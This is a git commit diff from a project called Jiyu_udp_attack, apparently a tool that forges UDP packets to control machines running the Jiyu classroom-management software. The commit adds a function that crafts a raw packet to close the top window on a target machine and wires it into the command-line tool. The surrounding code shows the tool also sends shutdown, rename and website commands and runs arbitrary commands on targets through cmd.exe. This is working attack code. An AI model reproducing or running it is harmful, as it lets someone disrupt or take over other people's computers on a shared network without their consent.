feat: Add pkg_close_top_window function and integrate into main script

Author: weilycoder

Jiyu_udp_attack/__init__.py

@@ -5,6 +5,7 @@
 try:
     from Jiyu_udp_attack.sender import send_packet, broadcast_packet
     from Jiyu_udp_attack.packet import (
+        pkg_close_top_window,
         pkg_close_windows,
         pkg_message,
         pkg_shutdown,
@@ -15,6 +16,7 @@
 except ImportError:
     from sender import send_packet, broadcast_packet
     from packet import (
+        pkg_close_top_window,
         pkg_close_windows,
         pkg_message,
         pkg_shutdown,
@@ -27,6 +29,7 @@
 __all__ = [
     "send_packet",
     "broadcast_packet",
+    "pkg_close_top_window",
     "pkg_close_windows",
     "pkg_message",
     "pkg_shutdown",

Jiyu_udp_attack/__main__.py

@@ -15,7 +15,15 @@
 from typing import Any, Sequence, cast
 
 from sender import broadcast_packet
-from packet import pkg_close_windows, pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
+from packet import (
+    pkg_close_top_window,
+    pkg_close_windows,
+    pkg_message,
+    pkg_shutdown,
+    pkg_rename,
+    pkg_website,
+    pkg_execute,
+)
 
 
 class ModeOptionalAction(argparse.Action):
@@ -174,6 +182,12 @@ def format_usage(self) -> str:
         metavar=("<timeout>", "<message>"),
         help="Close all windows on the target machine",
     )
+    attack_action.add_argument(
+        "-ctw",
+        "--close-top-window",
+        action="store_true",
+        help="Close the top window on the target machine",
+    )
     attack_action.add_argument(
         "-n",
         "--rename",
@@ -201,6 +215,8 @@ def format_usage(self) -> str:
             payload = pkg_website(args.website)
         elif args.command:
             payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
+        elif args.close_top_window:
+            payload = pkg_close_top_window()
         elif args.execute:
             match args.execute:
                 case [mode, [program]]:

Jiyu_udp_attack/packet.py

@@ -161,6 +161,21 @@ def pkg_close_windows(timeout: Optional[int] = None, message: str = "") -> bytes
     return head + data + b"\x00" * 258
 
 
+def pkg_close_top_window() -> bytes:
+    """
+    Packages a command to close the top window into a specific byte format, including a header.
+
+    Returns:
+        bytes: The packaged command to close the top window as a byte array, including a header.
+    """
+    head = (
+        b"DMOC\x00\x00\x01\x00n\x03\x00\x00"
+        + secrets.token_bytes(16)
+        + b" N\x00\x00\xc0\xa8\x01\x9ba\x03\x00\x00a\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00"
+    )
+    return head + b"\x00" * 850
+
+
 def pkg_rename(name: str, name_id: int = 0) -> bytes:
     """
     Packages a command to rename a file or directory into a specific byte format, including a header.